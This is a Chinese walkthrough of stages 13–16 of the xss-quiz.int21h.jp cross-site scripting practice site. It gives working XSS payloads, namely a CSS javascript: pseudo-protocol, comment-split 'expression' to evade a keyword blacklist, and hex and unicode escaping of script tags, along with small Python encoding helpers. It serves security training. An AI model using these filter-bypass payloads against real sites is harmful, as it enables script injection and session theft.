1.1 Stage 13 CSS的IE特性伪协议注入XSS
https://xss-quiz.int21h.jp/stage13_0.php?sid=1c9c607c40dc4863f84fe2bd8218c7ba4664721e
1.1.1 页面分析
1.1.1.1 分析过程
- 提示信息:样式属性
- 页面中提示让我们输入的信息是层叠样式表,所以我们使用层叠样式表的方式进行注入,输入的其它方式的文本信息不会被当做代码执行。
1.1.2 进行注入测试
1.1.2.1 构建payload
将背景颜色替换为urI,然后使用伪协议进行注入:
background:url("javascript:alert(document.domain);");
1.1.2.2 执行payload
源码中可以看到CSS成功调用了伪协议:
1.2 Stage 14 通过CSS的内联注释注入XSS
https://xss-quiz.int21h.jp/stage-_-14.php?sid=0ff1923d41a6dc1a008e24017e537e39f85c2446
1.2.1 页面分析
1.2.1.1 分析过程
- 提示信息:s/(url|script|eval|expression)/xxx/ig; 将url,script,eval,expression都替换为了xxx;
- 解决方式就是寻找黑名单之外的关键字,但是我们可以使用注释绕过对名单的检测;
1.2.2 通过内联注释进行注入测试
1.2.2.1 构建payload
leon:expr/**/ession(alert(document.domain));
1.2.2.2 执行payload
成功弹出消息,但是存在一个问题,在CSS中注入以后网站会不停的给我们弹框,所以我们需要修改一下payload使网站只弹一次。
1.2.3 优化内联注释payload
1.2.3.1 构建payload
判断语句可以理解为如果window.x不成立则执行{}内的代码:
第一次执行时,window.x为空,所以if语句成立,当{}内容执行一次后,对window.x赋值为1;
第二次执行时,windows.x=1,所以if条件不成立,此时{}代码不会再执行。
leon:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})
1.2.3.2 执行payload
1.3 Stage 15 十六进制编码绕过过滤XSS注入
https://xss-quiz.int21h.jp/stage__15.php?sid=e0c7306f7286a6f77795db6846f64261809b16ac
1.3.1 页面分析
1.3.1.1 分析过程
- 输入的信息会在页面下方的黑色文本框中显示
1.3.1.2 尝试注入
"><script>alert(document.domain)</script>
可以看到输入的双引号和尖括号全部转义为了编码实体字符:
1.3.2 使用十六进制编码进行绕过注入
1.3.2.1 使用python脚本进行16进制转换
# vim decoder_hex.py import sys import binascii def get_data(str_data): list_data = list(str_data) if len(list_data) > 1: a = [b'\\x'+binascii.b2a_hex(str_data.encode()) for str_data in list_data] data = zip(list_data,a) for i,y in data: print(i,' 的结果为:',y.decode()) b = b''.join(a) print(str_data,'最终结果为:',b.decode()) else: a = [b'\\x'+binascii.b2a_hex(str_data.encode()) for str_data in list_data] b = b''.join(a) print(str_data,'最终结果为:',b.decode()) if __name__ == '__main__': while True: str_data = input('请输入需要转换的字符或字符串(输入exit退出):') if str_data == 'exit': break get_data(str_data)
1.3.2.2 进行16进制转码
# python3 decoder_hex.py 请输入需要转换的字符或字符串(输入exit退出):<> < 的结果为: \x3c > 的结果为: \x3e <> 最终结果为: \x3c\x3e 请输入需要转换的字符或字符串(输入exit退出):exit
1.3.2.3 构建payload
\x3cscript\x3ealert(document.domain)\x3c/script\x3e
1.3.2.4 执行payload
我们发现执行完成后\被吃掉了:
1.3.2.5 优化payload
\\x3cscript\\x3ealert(document.domain)\\x3c/script\\x3e
1.3.2.6 重新执行payload
1.4 Stage 16 Unicode编码绕过关键词XSS注入
https://xss-quiz.int21h.jp/stage00000016.php?sid=7e376579a761ef96c858230ec2bc390110a7f8ea
1.4.1 搭建本地关卡
1.4.2 页面分析
1.4.2.1 分析过程
- 提示信息:将\\x替换成\\\\x
1.4.2.2 尝试注入
\\x3cscript\\x3ealert(document.domain)\\x3c/script\\x3e
代码并没有被成功执行,分析源码:
可以看到payload中的\x3c和\x3e还是原本的字符串并没有被识别为<>尖括号,虽然最终浏览器在pre中识别为\x3c和\x3e但是代码还是没有执行。
1.4.3 使用unicode编码进行绕过注入
1.4.3.1 使用python脚本进行unicode转码
# vim decoder_unicode.py import sys import binascii def get_data(str_data): list_data = list(str_data) if len(list_data) > 1: a = [b'\\u00'+binascii.b2a_hex(str_data.encode()) for str_data in list_data] data = zip(list_data,a) for i,y in data: print(i,' 的结果为:',y.decode()) b = b''.join(a) print(str_data,'最终结果为:',b.decode()) else: a = [b'\\u00'+binascii.b2a_hex(str_data.encode()) for str_data in list_data] b = b''.join(a) print(str_data,'最终结果为:',b.decode()) if __name__ == '__main__': while True: str_data = input('请输入需要转换的字符或字符串(输入exit退出):') if str_data == 'exit': break get_data(str_data)
1.4.3.2 进行unicode转换
# python3 decoder_unicode.py 请输入需要转换的字符或字符串(输入exit退出):<> < 的结果为: \u003c > 的结果为: \u003e <> 最终结果为: \u003c\u003e 请输入需要转换的字符或字符串(输入exit退出):exit
1.4.3.3 构建payload
\\u003cscript\\u003ealert(document.domain)\\u003c/script\\u003e
1.4.3.4 执行payload
可以看到\\u003c成功转换成了\\u003c 而且代码被正常识别并执行:
